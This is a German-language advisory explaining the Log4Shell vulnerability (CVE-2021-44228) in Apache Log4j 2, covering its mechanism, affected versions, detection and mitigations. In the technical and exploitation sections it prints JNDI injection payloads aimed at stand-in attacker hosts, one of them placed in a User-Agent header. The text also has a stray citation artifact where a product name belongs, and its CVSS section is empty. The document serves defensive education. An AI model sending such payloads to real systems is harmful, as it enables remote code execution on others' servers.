🚨 CVE-2021-44228 — „Log4Shell“

Eine kritische Remote-Code-Ausführungs-Sicherheitslücke in Apache Log4j 2, weithin bekannt als Log4Shell.

📖 Inhaltsverzeichnis

• Übersicht
• Technische Details
• Schweregrad & CVSS
• Betroffene Versionen
• Ausnutzung & Auswirkungen
• Auswirkungen in der Praxis
• Erkennung
• Abhilfe & Korrekturen
• Zusammenfassung

🔎 Übersicht

CVE-2021-44228 ist eine kritische RCE-Schwachstelle in :contentReference[oaicite:0]{index=0} Version 2.x (vor 2.15.0), entdeckt im Dezember 2021.

Sie ermöglicht es nicht authentifizierten entfernten Angreifern, beliebigen Code auf verwundbaren Systemen auszuführen, indem sie einfach speziell gestaltete Eingaben senden, die von Log4j protokolliert werden. Der Fehler betrifft unzählige Java-basierte Anwendungen und Dienste weltweit.

🧠 Technische Details

Die Sicherheitslücke entsteht durch Log4js Handhabung von JNDI-Lookups in protokollierten Zeichenfolgen. Ein Angreifer kann eine bösartige JNDI-Ressource in eine protokollierte Nachricht einbetten (z. B. LDAP, DNS), wie:

${jndi:ldap://attacker.com/a}

Log4j wird:

1. Den JNDI-Lookup aus der Eingabe parsen
2. Einen entfernten Lookup auf dem vom Angreifer kontrollierten Server durchführen
3. Böswilligen Java-Code als Teil des Lookup-Prozesses laden
4. Diesen Code im Kontext der verwundbaren Anwendung ausführen

Dies ermöglicht es einem Angreifer, eine vollständige Remote Code Execution (RCE) auf betroffenen Diensten zu erreichen.

📊 Schweregrad & CVSS

Da Log4j in unzähligen Bibliotheken und Anwendungen verwendet wird, könnte jedes System, das nicht vertrauenswürdige Daten protokolliert, verwundbar sein.

📦 Betroffene Versionen

Die folgenden Versionen von Log4j 2 sind verwundbar:

> = 2.0-beta9 and < 2.15.0

Zusätzlich waren einige Konfigurationen von 2.15.0 immer noch ausnutzbar, daher sind 2.16.0 und höher die sichere Basis.

🛠 Abhilfe & Korrekturen

✅ Offizielle behobene Versionen

Aktualisieren Sie auf Log4j 2-Versionen:

2.17.1 or later

Spätere Patches verbessern die Sicherheit weiter (z. B. 2.17.2, 2.19.0, usw.).

🧱 Temporäre Gegenmaßnahmen (falls Sie nicht sofort patchen können)

Wenn ein sofortiges Upgrade nicht möglich ist, können Sie:

• JNDI-Lookups deaktivieren in der Log4j-Konfiguration
• Setzen Sie:

log4j2.formatMsgNoLookups=true

• Entfernen Sie die JndiLookup-Klasse aus dem Classpath:

zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Diese Schritte helfen, die Gefährdung zu reduzieren, bis Sie aktualisieren können.

🔥 Ausnutzung & Auswirkungen

Diese Sicherheitslücke ist extrem einfach auszunutzen. Ein Angreifer muss nur eine manipulierte Zeichenfolge senden (z. B. über HTTP-Header, Formularparameter, Chat-Nachrichten, Datenbankfelder), die von der Anwendung protokolliert wird:

User-Agent: ${jndi:ldap://attacker.example/a}

Sobald sie protokolliert wurde, führt die Anwendung einen entfernten Lookup durch und kann gezwungen werden, vom Angreifer kontrollierten Java-Code auszuführen.

🌍 Auswirkungen in der Praxis

Log4Shell hatte massive globale Auswirkungen:

• Unzählige öffentlich zugängliche Dienste waren sofort exponiert
• Cloud-Anbieter, Spieleserver, Unternehmensanwendungen, IoT, Webdienste, APIs und mehr waren betroffen
• Ganze Sicherheitsgemeinschaften mobilisierten sich, um verwundbare Systeme zu erkennen und zu patchen
• Die Ausnutzung war weit verbreitet, automatisiert und schnell

Dies ist eine der bedeutendsten Sicherheitslücken seit Jahrzehnten.

🧪 Erkennung

Sie können verwundbare Systeme erkennen, indem Sie:

• Logs auf verdächtige JNDI-Muster durchsuchen (${jndi:)
• Verwenden von Schwachstellenscannern, die nach Log4j-Versionen suchen
• Überwachen des eingehenden Datenverkehrs auf Ausnutzungsversuche
• Überprüfen des Classpath-Inhalts auf JNDI-Lookup-Unterstützung

📌 Zusammenfassung

⚠️ Abschließende Empfehlung

Wenn Ihre Anwendung oder eine von Ihnen verwendete Bibliothek auf Log4j 2.x angewiesen ist, aktualisieren Sie sofort auf eine gepatchte Version (≥ 2.17.1) und stellen Sie sicher, dass JNDI-Lookups deaktiviert oder entfernt sind, wo möglich.